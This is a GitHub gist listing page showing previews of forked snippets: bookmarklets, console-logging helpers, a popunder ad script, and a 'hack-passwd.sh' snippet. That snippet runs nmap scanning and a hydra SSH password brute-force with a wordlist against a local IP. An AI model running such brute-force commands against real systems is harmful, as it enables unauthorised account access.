Skip to content

Instantly share code, notes, and snippets.

@tallykatt
tallykatt / hack-passwd.sh
Created July 25, 2016 01:51 — forked from Yago/hack-passwd.sh
Hack - Hack local machine
# install
$ brew install cmake
$ brew install libssh
$ brew install hydra
$ brew install nmap
$ ping 192.168.1.255
$ nmap -A 192.168.0.8
$ hydra -l User -P '/path/to/wordlist.txt' 192.168.0.8 ssh
@tallykatt
tallykatt / hack-console.js
Created July 25, 2016 01:50 — forked from indexzero/hack-console.js
Fun with hacking console.log in node@4
'use strict';
//
// Attempt #1: Overwrite the log method on the Console
// prototype exposed by node.
//
// !!FAILED!!
//
// var Console = require('console').Console;
//
@tallykatt
tallykatt / popunder.js
Created July 25, 2016 01:49 — forked from jagad89/popunder.js
pop under js
<!--Start Popunder-->
<script>
var puShown = false;
var PopWidth = 1370;
var PopHeight = 800;
var PopFocus = 0;
var _Top = null;
function GetWindowHeight() {
@tallykatt
tallykatt / debug.js
Created July 25, 2016 01:16 — forked from dftaiwo/debug.js
JS Console Logging For Production & Debug Builds
var debugMode=false;
//.....
function logMessage() {
if(!debugMode) return;
console.log(Array.prototype.slice.call(arguments) );
}
@tallykatt
tallykatt / utils.js
Created July 24, 2016 23:56 — forked from hagb4rd/utils.js
Chrome Dev Tools
var UTILS = {
// ------------------------------------------------------------------
// Object Helpers
// ------------------------------------------------------------------
GUID: function () {
function s4() {
return Math.floor((1 + Math.random()) * 0x10000)
@tallykatt
tallykatt / pop-out.js
Created July 24, 2016 23:37 — forked from fregante/pop-out.js
Bookmarklet: Pop out the current window in a small, "mobile" window
javascript:window.open(document.location.href,''+Math.random(),'width=320,height=480,top='+(screen.height/2-480/2+Math.random()*100-50)+', left='+(screen.width/2-320/2+Math.random()*100-50))
@tallykatt
tallykatt / bookmarklet_select_all.js
Created July 24, 2016 23:37 — forked from willurd/bookmarklet_select_all.js
Select All: A bookmarklet for those annoying sites that block you from selecting stuff
javascript:(function()%7Bvar style%3Ddocument.createElement("style")%3Bstyle.type%3D"text/css"%3Bstyle.innerText%3D"* %7B -webkit-user-select: all !important%3B -moz-user-select: all !important%3B user-select: all !important%3B %7D"%3Bvar head%3Ddocument.getElementsByTagName("head")%5B0%5D%3Bhead.appendChild(style)%3B%7D)()%3B
@tallykatt
tallykatt / nocss.js
Created July 24, 2016 23:36 — forked from l3dlp/nocss.js
NoCSS Bookmarklet - Make any page readable; Usage: paste the code into a bookmark URL
javascript:(function(){for(i=0;i<document.styleSheets.length;i++){document.styleSheets.item(i).disabled=true;}all=document.getElementsByTagName('*');for(i=0;i<all.length;i++){var s=all[i].style;s.cssText='';s.width='';s.padding='1px';s.margin='1px';s.fontSize='12pt';s.lineHeight='150%';if(s.position=='absolute'||s.position=='relative'||s.position=='fixed')s.position='static';}var st=document.body.style;st.paddingLeft='100px';st.paddingRight='100px';st.backgroundImage='none';st.backgroundColor='#fff';st.color='#000';})();
@tallykatt
tallykatt / notepad.html
Created July 24, 2016 23:36 — forked from ryuzheng/notepad.html
This bookmarklet gives you a code editor in your browser with a single click.
data:text/html, <style type="text/css">.e{position:absolute;top:0;right:0;bottom:0;left:0;}</style><div class="e" id="editor"></div><script src="http://d1n0x3qji82z53.cloudfront.net/src-min-noconflict/ace.js" type="text/javascript" charset="utf-8"></script><script>var e=ace.edit("editor");e.setTheme("ace/theme/monokai");e.getSession().setMode("ace/mode/ruby");</script>
<!--
For other language: Instead of `ace/mode/ruby`, Use
Markdown -> `ace/mode/markdown`
Python -> `ace/mode/python`
C/C++ -> `ace/mode/c_cpp`
Javscript -> `ace/mode/javascript`
Java -> `ace/mode/java`
Scala- -> `ace/mode/scala`
@tallykatt
tallykatt / popup.js
Created July 24, 2016 23:36 — forked from epatr/popup.js
Bookmarklet to pop up websites in window without browser toolbars
javascript:window.open('http://','windowName','width=960,height=720,scrollbars=yes,status=no,titlebar=no,toolbar=no');void(0);